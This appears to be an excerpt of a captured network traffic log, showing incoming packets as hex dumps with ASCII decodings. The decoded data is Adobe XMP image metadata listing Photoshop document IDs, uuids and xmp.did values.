2022-07-20 04:06:50 UTC	3636	IN	Data Raw: 38 35 30 38 35 41 36 46 39 36 33 30 36 34 30 36 39 38 42 32 43 41 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 32 36 45 31 34 32 30 31 46 37 31 33 44 43 35 46 39 32 39 30 41 30 42 34 44 31 32 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 46 32 43 30 46 44 39 38 35 35 31 43 42 43 46 31 33 31 31 43 46 46 33 36 33 33 37 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 41 32 31 34 35 41 32 35 46 35 43 36 32 31 37 39 31 36 45 36 39 34 45 44 38 34 39 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 35 33 45 45 38 31 43 36 36 43 43 36 43 30 43 39 45 33 37 32 30 41 37 30 32 35 45 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 37 41 45 39 32 44 36 30 36 32 Data Ascii: 85085A6F9630640698B2CAF8</rdf:li> <rdf:li>D4926E14201F713DC5F9290A0B4D12D9</rdf:li> <rdf:li>D49F2C0FD98551CBCF1311CFF36337AB</rdf:li> <rdf:li>D4A2145A25F5C6217916E694ED849C9D</rdf:li> <rdf:li>D4B53EE81C66CC6C0C9E3720A7025E4E</rdf:li> <rdf:li>D4B7AE92D6062
2022-07-20 04:06:50 UTC	3659	IN	Data Raw: 31 41 34 36 44 37 32 38 30 36 33 43 43 31 38 43 39 46 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 41 42 35 44 31 34 44 30 33 32 39 33 42 42 46 32 43 34 44 46 44 38 43 32 36 44 31 44 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 43 38 30 32 43 34 38 38 31 38 32 35 35 35 44 37 38 41 45 31 43 36 36 43 34 41 32 39 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 44 43 42 30 32 35 32 35 46 43 41 35 43 30 36 46 38 41 45 45 42 37 46 31 38 37 38 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 36 45 30 45 43 46 33 44 39 37 44 39 42 42 44 39 42 41 31 33 44 39 39 43 38 34 41 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 44 31 46 34 37 43 45 32 38 31 42 45 46 31 Data Ascii: 1A46D728063CC18C9FDD</rdf:li> <rdf:li>D9AB5D14D03293BBF2C4DFD8C26D1D73</rdf:li> <rdf:li>D9C802C488182555D78AE1C66C4A29B3</rdf:li> <rdf:li>D9DCB02525FCA5C06F8AEEB7F1878F2A</rdf:li> <rdf:li>D9E6E0ECF3D97D9BBD9BA13D99C84A2A</rdf:li> <rdf:li>D9ED1F47CE281BEF1
2022-07-20 04:06:50 UTC	3682	IN	Data Raw: 3a 6c 69 3e 45 37 34 34 44 34 44 37 31 45 42 45 39 34 42 46 37 37 41 43 34 43 34 38 37 37 34 34 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 34 41 31 31 41 39 38 35 38 44 45 42 33 30 35 46 31 34 30 45 46 32 32 43 43 43 30 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 34 43 45 32 44 30 30 30 45 38 41 41 45 45 31 38 46 35 35 46 43 38 32 35 43 35 36 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 43 38 43 31 45 38 34 41 34 32 38 31 36 42 31 33 33 33 34 34 37 46 41 44 36 39 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 37 36 34 44 39 31 38 35 32 46 43 44 30 42 34 34 41 35 43 37 30 34 37 33 44 34 43 33 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 Data Ascii: :li>E744D4D71EBE94BF77AC4C4877444813</rdf:li> <rdf:li>E74A11A9858DEB305F140EF22CCC0BEB</rdf:li> <rdf:li>E764CE2D000E8AAEE18F55FC825C56CC</rdf:li> <rdf:li>E76C8C1E84A42816B1333447FAD69A4D</rdf:li> <rdf:li>E7764D91852FCD0B44A5C70473D4C3CD</rdf:li> <rdf:li>E
2022-07-20 04:06:50 UTC	3714	IN	Data Raw: 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 37 32 36 31 44 32 39 30 44 46 36 38 31 41 39 33 37 39 32 30 34 31 33 43 31 43 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 45 41 43 42 39 37 31 32 33 36 46 33 31 39 37 39 33 38 30 44 43 39 46 42 30 31 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 43 39 44 35 45 39 30 44 34 34 46 33 30 30 36 45 41 38 30 33 31 39 32 31 44 43 35 33 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 44 33 37 38 31 32 38 45 35 36 37 43 44 33 45 38 45 31 39 39 42 42 30 45 37 46 31 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 45 33 37 32 45 45 33 31 32 34 42 39 32 42 36 34 38 44 42 45 30 31 42 41 38 31 32 45 41 41 3c 2f 72 Data Ascii: 8F</rdf:li> <rdf:li>F2B7261D290DF681A937920413C1CC12</rdf:li> <rdf:li>F2BEACB971236F31979380DC9FB018AB</rdf:li> <rdf:li>F2C9D5E90D44F3006EA8031921DC5329</rdf:li> <rdf:li>F2D378128E567CD3E8E199BB0E7F103A</rdf:li> <rdf:li>F2E372EE3124B92B648DBE01BA812EAA</r
2022-07-20 04:06:50 UTC	3745	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 32 39 30 34 31 46 34 37 45 43 35 33 33 36 45 43 33 45 32 46 43 43 41 42 46 32 38 45 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 33 39 36 33 35 39 44 42 37 43 36 41 35 33 35 35 39 34 36 43 44 38 33 33 37 34 45 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 34 36 38 35 46 45 38 32 34 37 45 35 33 31 37 30 32 42 34 31 39 39 35 43 32 34 34 30 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 33 42 33 37 41 44 35 31 39 39 46 31 44 36 41 30 32 37 46 32 32 30 44 32 31 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 34 35 32 44 34 37 43 43 43 35 35 46 37 34 32 32 45 43 45 45 44 37 32 32 46 39 42 42 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>F929041F47EC5336EC3E2FCCABF28E3A</rdf:li> <rdf:li>F9396359DB7C6A5355946CD83374ECAE</rdf:li> <rdf:li>F94685FE8247E531702B41995C244099</rdf:li> <rdf:li>F95A3B37AD5199F1D6A027F220D212E9</rdf:li> <rdf:li>F95A452D47CCC55F7422ECEED722F9BB</rdf
2022-07-20 04:06:50 UTC	3777	IN	Data Raw: 64 65 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 39 66 33 33 39 38 30 2d 38 32 31 62 2d 31 31 64 62 2d 38 64 36 64 2d 63 39 34 37 39 64 39 38 30 30 38 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 30 62 37 35 61 37 2d 64 39 38 66 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 32 37 61 34 39 32 2d 34 61 61 66 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: dedc</rdf:li> <rdf:li>adobe:docid:photoshop:19f33980-821b-11db-8d6d-c9479d98008f</rdf:li> <rdf:li>adobe:docid:photoshop:1a0b75a7-d98f-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:1a27a492-4aaf-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe
2022-07-20 04:06:50 UTC	3793	IN	Data Raw: 34 39 37 65 38 30 38 30 2d 64 38 33 32 2d 31 31 65 36 2d 38 63 31 31 2d 64 31 32 30 61 30 63 65 37 35 62 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 38 34 31 30 35 35 2d 31 32 62 34 2d 31 31 65 38 2d 62 65 39 32 2d 64 61 35 34 62 32 34 38 32 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 Data Ascii: 497e8080-d832-11e6-8c11-d120a0ce75b7</rdf:li> <rdf:li>adobe:docid:photoshop:49841055-12b4-11e8-be92-da54b2482239</rdf:li> <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b76
2022-07-20 04:06:50 UTC	3817	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 33 61 39 36 38 35 2d 34 39 61 64 2d 31 31 64 38 2d 62 63 32 31 2d 65 35 62 37 35 31 63 65 63 62 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 62 34 61 65 30 33 2d 36 62 66 39 2d 31 31 64 39 2d 38 63 64 36 2d 65 63 33 34 39 30 34 38 64 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 66 30 62 64 63 38 2d 65 31 37 35 2d 31 31 64 38 2d 38 30 35 31 2d 38 38 38 38 33 63 33 30 36 63 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:613a9685-49ad-11d8-bc21-e5b751cecb20</rdf:li> <rdf:li>adobe:docid:photoshop:61b4ae03-6bf9-11d9-8cd6-ec349048d578</rdf:li> <rdf:li>adobe:docid:photoshop:61f0bdc8-e175-11d8-8051-88883c306cc2</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 04:06:50 UTC	3856	IN	Data Raw: 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 30 61 32 37 35 66 66 2d 32 63 63 63 2d 31 31 65 36 2d 61 63 65 36 2d 66 31 35 37 38 36 39 37 65 37 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 31 66 37 61 32 61 64 2d 66 31 39 35 2d 31 31 65 34 2d 61 61 64 64 2d 63 66 64 35 30 66 65 62 30 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 32 30 30 63 32 65 33 2d 39 61 61 62 2d 31 31 37 61 2d 39 35 38 65 2d 61 64 36 62 63 65 36 31 62 39 30 38 3c 2f 72 64 66 3a 6c Data Ascii: d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:90a275ff-2ccc-11e6-ace6-f1578697e7ab</rdf:li> <rdf:li>adobe:docid:photoshop:91f7a2ad-f195-11e4-aadd-cfd50feb0808</rdf:li> <rdf:li>adobe:docid:photoshop:9200c2e3-9aab-117a-958e-ad6bce61b908</rdf:l
2022-07-20 04:06:50 UTC	3896	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 33 65 2d 35 31 Data Ascii: docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:c4317d3e-51
2022-07-20 04:06:50 UTC	3904	IN	Data Raw: 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 7a69dec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>ad
2022-07-20 04:06:50 UTC	3952	IN	Data Raw: 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 34 32 30 34 42 34 33 43 45 34 44 46 31 31 42 45 43 42 38 32 32 42 45 46 38 32 32 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 35 39 46 43 32 39 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 36 38 36 38 37 32 37 30 41 37 31 31 44 42 38 31 31 31 45 33 37 45 44 31 38 42 41 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 36 39 35 37 43 44 32 30 31 31 31 44 42 39 39 31 36 46 42 31 45 45 42 37 34 39 36 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 42 42 34 34 42 44 34 Data Ascii: DF</rdf:li> <rdf:li>uuid:134204B43CE4DF11BECB822BEF822E48</rdf:li> <rdf:li>uuid:1359FC2980F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:1368687270A711DB8111E37ED18BAC46</rdf:li> <rdf:li>uuid:13B6957CD20111DB9916FB1EEB74965F</rdf:li> <rdf:li>uuid:13BBB44BD4
2022-07-20 04:06:50 UTC	4206	IN	Data Raw: 41 44 39 46 46 45 44 45 45 36 38 33 42 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 39 42 42 41 32 36 36 35 46 33 45 30 31 31 38 35 38 32 46 38 45 46 46 42 34 44 42 37 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 43 32 36 41 33 39 44 33 36 45 44 44 31 31 41 31 35 30 38 32 43 45 46 45 46 38 41 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 45 30 35 35 39 44 33 30 34 33 44 44 31 31 38 31 38 37 46 31 46 30 30 38 34 45 37 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 42 30 39 39 33 35 41 36 39 42 39 44 43 31 31 42 46 33 37 43 34 34 35 34 41 33 43 41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: AD9FFEDEE683B260</rdf:li> <rdf:li>uuid:4A9BBA2665F3E0118582F8EFFB4DB741</rdf:li> <rdf:li>uuid:4AC26A39D36EDD11A15082CEFEF8AC8D</rdf:li> <rdf:li>uuid:4AE0559D3043DD118187F1F0084E7703</rdf:li> <rdf:li>uuid:4B09935A69B9DC11BF37C4454A3CA56D</rdf:li> <rdf:li>u
2022-07-20 04:06:50 UTC	4214	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 36 35 30 35 38 35 35 34 41 44 45 31 31 41 32 39 34 44 32 41 34 30 33 39 38 35 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 45 37 45 41 30 45 39 36 33 45 31 31 31 41 41 43 36 43 36 32 38 36 30 38 33 31 39 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 35 37 45 32 44 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 38 42 42 42 46 44 44 31 31 38 32 30 30 44 38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 41 45 36 37 39 43 37 45 30 31 31 Data Ascii: f:li> <rdf:li>uuid:60365058554ADE11A294D2A403985EDA</rdf:li> <rdf:li>uuid:603E7EA0E963E111AAC6C62860831962</rdf:li> <rdf:li>uuid:6057E2DFEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:60754558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011
2022-07-20 04:06:50 UTC	4230	IN	Data Raw: 35 43 37 31 31 44 46 42 33 38 33 45 32 43 39 34 42 45 45 43 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 36 39 30 34 32 43 32 46 34 36 44 45 31 31 42 44 39 45 45 35 41 36 36 33 39 41 36 32 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 37 44 31 41 33 33 33 37 31 43 31 31 44 44 39 30 42 37 44 38 45 42 30 31 38 34 44 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 38 37 35 37 46 42 43 44 36 37 44 45 31 31 39 34 31 46 41 35 30 39 32 42 39 42 36 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 43 31 36 31 31 35 39 38 41 37 44 46 31 31 42 38 45 34 42 45 37 39 43 34 45 42 36 30 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 5C711DFB383E2C94BEECF55</rdf:li> <rdf:li>uuid:9369042C2F46DE11BD9EE5A6639A625F</rdf:li> <rdf:li>uuid:937D1A33371C11DD90B7D8EB0184D9A9</rdf:li> <rdf:li>uuid:938757FBCD67DE11941FA5092B9B67B5</rdf:li> <rdf:li>uuid:93C1611598A7DF11B8E4BE79C4EB6006</rdf:li> <r
2022-07-20 04:06:50 UTC	4246	IN	Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 30 44 42 30 42 37 30 45 38 30 44 44 31 31 38 45 43 43 41 43 35 31 30 46 35 42 44 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 31 34 34 41 31 41 42 43 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 35 44 33 45 44 45 41 41 45 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 36 41 32 37 36 46 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 38 38 43 39 35 43 39 32 43 Data Ascii: D</rdf:li> <rdf:li>uuid:CD0DB0B70E80DD118ECCAC510F5BD120</rdf:li> <rdf:li>uuid:CD144A1ABCE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:CD5D3EDEAAE911DBA2379BE74704E200</rdf:li> <rdf:li>uuid:CD6A276F2231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:CD88C95C92C
2022-07-20 04:06:50 UTC	4254	IN	Data Raw: 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 34 35 32 35 38 35 36 33 39 37 44 45 31 31 41 34 43 30 43 41 33 43 34 45 46 46 43 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 38 44 32 45 35 30 36 43 39 45 45 30 31 31 42 42 33 35 39 45 31 34 35 33 38 41 30 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 39 44 43 33 37 45 33 42 36 45 44 45 31 31 38 39 34 42 46 46 45 35 41 32 36 43 44 36 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: CDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:EB4525856397DE11A4C0CA3C4EFFCA36</rdf:li> <rdf:li>uuid:EB8D2E506C9EE011BB359E14538A0A4D</rdf:li> <rdf:li>uuid:EB9DC37E3B6EDE11894BFFE5A26CD643</rdf:li> <rdf:li>uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <
2022-07-20 04:06:50 UTC	4270	IN	Data Raw: 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 41 46 34 46 45 31 39 42 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 45 38 45 38 45 45 33 46 30 32 38 39 3c 2f 72 64 66 Data Ascii: 11AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CAF4FE19BE9D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0180117407206811AB08E8E8EE3F0289</rdf
2022-07-20 04:06:50 UTC	4286	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 44 34 43 39 33 37 45 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 Data Ascii: > <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:05801174072068119109E87E6DD14813</rdf:li> <rdf:li>xmp.did:05801174072068119109E8D4C937EDAB</rdf:li> <rdf:li>xmp.did:05801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:05801
